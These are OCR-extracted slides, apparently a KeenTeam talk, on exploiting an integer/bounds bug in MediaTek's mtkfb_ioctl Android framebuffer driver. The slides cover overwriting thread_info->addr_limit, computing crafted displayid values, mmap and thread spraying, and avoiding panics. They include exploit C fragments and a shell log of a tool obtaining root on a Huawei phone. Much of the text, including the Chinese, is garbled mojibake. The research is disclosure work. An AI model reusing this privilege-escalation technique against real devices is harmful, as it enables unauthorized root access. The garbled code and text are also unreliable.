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In mtkfb.c

A A 4
PR )I -H int mtkfb_ioctl(struct file *file, struct fb_info *info, unsigned int cmd, unsigned Long arg)
#endif

— Hinforest@KeenTeam&ZHL, T |
OLSAEARE WA | T o

(;ﬁud)

MTKFB_GET_DISPLAY IF INFORMATION:

EJ H )3/ I I 3 n |t658x & n |t6592m:|§ E(J 0 7.'-(&displayid, (void __user *)arg, sizeof(displayid))) {
N I 0G("[FB]: copy_from_user failed! line:%d \n", _ LINE_ );
ﬁ'—' g % *J'L _ ~EFAULT;

"%s, display id=%d\n", _ func__, displayid);
ayid > MTKFB_MAX_DISPLAY COUNT) {
MTKFB_LOG("[FB]: invalid display id:%d \n", displayid);
224 N H Ayt A -EFAULT;
— HEI#FZ & 5oROM LA flx -
dispif_info[displayid].physicalHeight = DISP_GetPhysicalHeight();
. Oday! dispif_info[displayid].physicalllidth = DISP_ GetP 1Width() ;

(c to_user((void __user *)arg, &(dispif i isplayid]), sizeof(mtk_dispif_info_t))) {
] _LOG("[FB]: copy_to user failed! line:%d \n", _ LINE_);

r = -EFAULT;

— /dev/graphics/fb0 _ retum (0;
e A ERAERE L ? 2 2

crw-rw---- system graphics 29, 02015-07-09 15:08 fb0
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Cmd 5argiiTioctl i FHE A
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int mtkfb ioctl(struct file *file, struct fb_info *info, unsigned int cmd, unsigned Long arg)
#endif
I
L §
void _ user *argp = (void _ user *)arg;
DISP_STATUS ret = @;

int r = @;

d) . . N
(cnat displayids& — ME 75 84
MTKFB_GET_DISPLAY IF TNFORMATION:

ine displayid - o; displayid [J1H A FHHH 2 &% NS 2 3=

; from user(&displayid, (void _ user *)arg, sizeof(displayid))) <&
B_LOG("[FB]: copy_ from_user failed! line:%d \n", _ LINE_);
-EFAULT;

"%s, display id=%d\n", _ func_ , displayid); %’Idlspbyld%/l\ﬁliﬁﬁgﬁﬂ‘ﬂ%, Epﬂg%ﬁﬁﬁ
layid > MTKFB_MAX_DISPLAY COUNT) &
MTKFB_LOG("[FB]: invalid display id:%d ‘\n", displayid);

-EFAULT;
—slHr—'l- It(), @ﬁgs?‘:’ﬁ‘ﬁ/\jo

“-((ln d __user *)arg, &(dlsplf 1nf0[d15play1d]), sizeof(mtk_dispif info_t)) )%

- [FB]: copy to user failed! line: \n”, LINE }; j}ﬂ?é&:ﬂ%j’ﬁ?lﬁlﬁﬁ):‘ N

(r);
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mtk_dispif info t dispif_info[MTKFB_MAX_DISPLAY COUMT=

dispif info[displayid].physicalHeight = DISP_GetPhysicalHeight(); f"lTI(FB DISPIF _TYPE dlsplayType,

= DISP_GetPhysicalWidth() ; unsigned int displayWidth;
unsigned int displayHeight;
unsigned int displayFormat;

#20x20-50x24 1) 1~ unsigned int# B 40 MTKFB_DISPIF_MODE displayMode;

dispif info[displayid].physicallWidth

— DISP_GetPhysicalHeight() 55DISP_GetPhysicalWidth()3F A~ gedas ], W unsigned int vsyncFPS;
G H.Q unsigned int physicalWidth;

int physicalHeight;
int isConnected;
int lcmOriginalWidth;

* /\$F|e|dwfﬁ\’j‘/ﬁ/ﬁ£”ﬁﬁ):]/u uir%siignea‘ int lemOriginalHeight;
—  MIREIER, B A TR 8N IE L T B NO 1 mtk_dispif_info_t;
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o . http://www.contextis.com/resources/blog/windows-mitigaton-bypass/

— ZHE NEMAEIFRA WA R, AR MR

 thread_info->addr_limit &L BT Rk £E
— Linux RGNS B task\] LLT [a) B P A7 FE & A PR i Y

— XFF3247 % 54+, thread_info->addr_limit JA0xbf000000



addr_limit Internals

AEO, BN ZtaskPATHY, Al IZHE G

struct thread _info {
unsigned Long flags,
int preempt_count,
mm_segment_t addr_limits H1450xbf000000, E AOHIE X ?
struct task _struct *task;
struct exec_domain *exec_domaT™y

__u32 cpu, A N . .
_u32 cpu_domain; ANA[EO, zﬁ?ﬁﬁﬂffipamc

struct cpu_context_save cpu_context;

330k, EOEMFuserland - _range_ok(addr, size) ({ \
A S Ak, flfEkernel ! e b S

_asm_ (“adds ¥, B2, #3; sbcccs B, %1, %0; movcc Ho, #0" \

: "=&r" (flag), "=&r" (roksum) \
: "r" (addr), "Ir" (size), "@" (current thread info()-»>addr limit) \
I < T

flag; })

258 . Pk Sthread_info->preempt_countfll
addr_limitiX8F1 N0, LHlkerneMER HihEES !




0] @i2: AR EHLHEE

thread_infolL0x20007 13 %} 5%
— B(addr & Ox1fff) ==

— WAL R ZEEIIE S0 EE )1, B B &5 (addr & Ox1fff) == 4 (Wb &L 58 F 1T I AE /I
BeLAOX34 7 N AL, HWFZ0ox200H B 18711 ?
— A EJuEAR?
— =L (addr - dispif_info) = 0x20 mod 0x34
— 32 &4, addr + 0x1,0000,0000 == addr ! !
« 0x1,0000,0000 = -4 mod 0x34
* 0x1,0000,0000 = 0x34 * 4ECAECS5 — 4

— dispif_info[displayid].physicalHeight U155 2| HidikA, ABA 5k A+4 K 75 dispif_info[displayed +
Ox4EC4ECS5].physicalHeight

- EEMIE!



)20 K| FH 7%

MR dispif_infolthiik

TH5H H & displayid BUE, displayid BUE 7 1 AL -

 displayid N 1%L
(&(dispif_info[displayid].physicalHeight)) & Ox1fff == 4 (thread_info->preempt_countf &)
(&(dispif_info[displayid].physicalHeight))#h}iE: 7£0xc8000000-5 0xefff00002 8] (i # MLl i F 47 il thread_infoll') 1] B
EXZPN

HCS ] HE 2 4 FE

A58 3 Ab T B HECIR 25

BEALEECD B2 [ displayid BUE, il & s

o FGHLEEINFthread_info->addr_limitJF &0

MLEEFT A 2618, R IRIX L 28 F2 2 75 1] DL istkernelland Hl il 25 [H]

WRATLL, WEE4-6225, FnwEn PLINIE

—HTATLL, kerneMEE WA S RICSLH, TR 5 9L Root
filln. {&i{task_struct->cred



R dispif infothhil

o IRIBRKEHLEMR, dispif_infoff0xc0000000-0xc3000000 [H]
o  TEBIEH P SEMap AR T, 3B dispif_infolth il

44

] ned Long j;
struct mtk_dispif_info ioctl_ar
g.display id = 0xA8

void * addr = mmap((unsigned L )008, ©x3600000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 8);
((unsigned Long)addr != 8x5

{
printf("mmap failed! aborting\n");
exit(-1);

1
J

mern-_:et(addp, :::;.;_Ll, Bx3000000 );
ioctl(fd,

cmd,
&ioctl_arg);

20 - BxABAECAEC * Bx3 2

«  %&Hldisplay_id JOXAO4ECAEC, [XJOXAO4ECAEC*0x34 ==0x208FFFFFFO == Ox8FFFFFFO, iJ ff {4 5 05/
VEAEmapH IR G L Y .
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display_idBUE 1T

BIRATLLBEARAL, (EA 2 E A

void obtain_display id didate(void)

int max_num = (int)(8x16
igned Long display id
1t cur_num ol
unsigned Long cur_thread_info_addr = THREAD_ INFO_START,
display id_candidate = malloc(4 * max_num);
(1)
{
((leaked_dispif info + 4 * display_id + > THREAD_INFO_START
&& (leaked_dispif info + 4 * display id + ©x28) < THREAD_INFO_START +

>
display id++;
.

}
printf(“display_id is : #x!\n", display_id);
(cur_thread_info_addr < THREAD INFO_END)

(((leaked_dispif _info + € * display_id +

display id candidate[cur _num] = display id;
cur_numi+;

}

display_id++;

cur_thread_info_addr +=

el
display_id candidate_length = cur_num;




AGEREGRE, HEAT WAF I

pthread mutex lock(&Iis thread desched lock);

re
(i = 8; i < MAX_THREAD NUM; i ++)

T
L
pthread create(&t, @, spraying thread, (void *)NULL);

1
J

B. ik A MR
C. fitt & Il

ioctl arg = try exploit(fd,display id candidate[i]);

D. MaffZeE

pthwe;d_cmﬂa_bﬂuaacaﬁt(&is_threa _de;ched);

ct thread_info stackb
taskbuf[8:
*cred,;
credbuf;
_security struct *security;
t task security struct securitybuf;

('write thread ready)

nthread cond wait(&is thread desched, &is thread desched lock);

(-1 !'= readmem(8: 3, &i, 4))

write_ thread _ready = 1;

4,

E. iR & 5 Kernel N A7 ] 32



=
i

\

o KZJ1/5 Root/KIL*

* Pani

cJLFRIRK

° )Ej(.

— 1

RE o0 1 7 G0 B S 45 M B

N
2

I




EAI/\/fIZ[ Ju\

2 I VIl

P %ﬁdispif_info[displayid].physicaIWidth K JEAE, 40 ~0xbfO00000 it & N 125

A SEI100% A4 2 2 [ Root

mitkfb il iIA 1A 152 P A7 1] et
— A DASEIAT B k15

R YR S8 T T O

i

]
HH

int mtkfb_ioctl(struct file *file,
#endif

struct fb_info *info, unsigned int cmd, unsigned

__user *argp = (void __user *)arg;

ATUS ret = 8;

(é&d)

MTKFB_GET_DISPLAY_IF_INFORMATION:

int displayi
sizeof(displayid))) {
_LINE_);

~(&displayid, (void __user *)arg,
[FB]: copy_from_user failed! line:%d \n",
-EFAULT;

_ func__, displayid);
ISPLAY_COUNT) {

G("[FB]: invalid display id:%d \n", displayid);

ayid]), sizeof(mtk_dispif_info_t )i

__LINE_);

Long arg)

B E 87T 10
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mtk_dispif_info:

field

physicalWidth

physicalHeight

isConnected

lcmOriginalWidth

lcmOriginalHeight

B

5 0
Bl
Bl
Bt

2.

SBLNAF
thread_info:
addr field
OxCFE34000 flags
OxCFE34004 preempt_count
OxCFE34008 addr_limit
OxCFE3400C task
OxCFE34010 exec_domain

# 1% HiisConnect{E 90xbf000000, Kt displayid{E 1 JIOX4ECAECS, Haddr_limit’90
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o ARMES0A 2 i fipanic

- WAFHIEA B0

— WAAIEA SRR E G, A SR mENEL (Bl A5 RERE, S0/hpanic
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: ¥ H5 +H —'EL—?
Panica] @R YR (£2) 7
o FATEF T 5ot pageRi8F 17 (0xXXXXX000-0xXXXXX008)

o IEHREIE SRR T

— HEEJREN. metadata 7E I 45 KA Ui FlU: tty buffer

— ?ﬁ\%ﬁ&%ﬁfﬁﬁﬁﬁéﬁ*ﬁg%*@j{% struct tty buffer |
struct tty buffer *next; EEEE]"]
U . char *char_buf ptr; = HJmetadata
- WEFBISCRKE  GEFZ0) unsigned char *Flaé_buF_ptr‘;

int used;

int size;

¢ 4+/Z\4jﬁ—‘§7\%§&y§é§ﬁ] H@j{)’:ﬁb int commit;

— TiE! int read;

unsigned Long data[@]; *HX#W\%: E@é&%&




mtk_dispif_info:

field

physicalWidth

physicalHeight

isConnected

lcmOriginalWidth

lcmOriginalHeight

#1532 HilemOriginalHeight{HE 5 0xbf000000,

DA A7 132

thread_info:

= addr field

OXCFE33FF8 N/A (DL A AL R
S| OXCFE33FFC N/AGT R AR V)
i OxCFE34000 flags
i OxCFE34004 preempt_count
= OxCFE34008 addr_limit

OxCFE3400C task

OxCFE34010 exec_domain

Pl displayid{E 34 JIOx4ECAECS * 3, Maddr_limit 40
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o UNHANZ0xbf000000, D IESEH 2 dispif_info[displayid].lcmOriginalHeight & 0xbf000000,## A 25 65

¥ displayid ¥ INOx4ECAECS * 3, - % firh /% I 1]
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J1,.5100% Root I =

shell@hwG750-T20:/ $ cat /proc/version

Linux version 3.4.67 (jenkins@huawei-RH2288H-V2-12L) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Thu Apr 23 03:40:33 CST 2015
shell@hwG750-T20:/ $ cd /data/local/tmp

shell@hwG750-T20:/data/local/tmp $ ./mtkfbexp

We got ioctl cmd code 80344f5a!

Leaked leaked dispif_info addr is OxcOde6734!

display_id is : 80231b8e!

spraying done! Trying exp...

One round!...

One round!...

One round!...

One round!...

We need to get root here!

[!JRoot success!

One round!...

shell@hwG750-T20:/data/local/tmp # id

uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(in
et),3006(net_bw_stats) context=u:r:adbd:s0®
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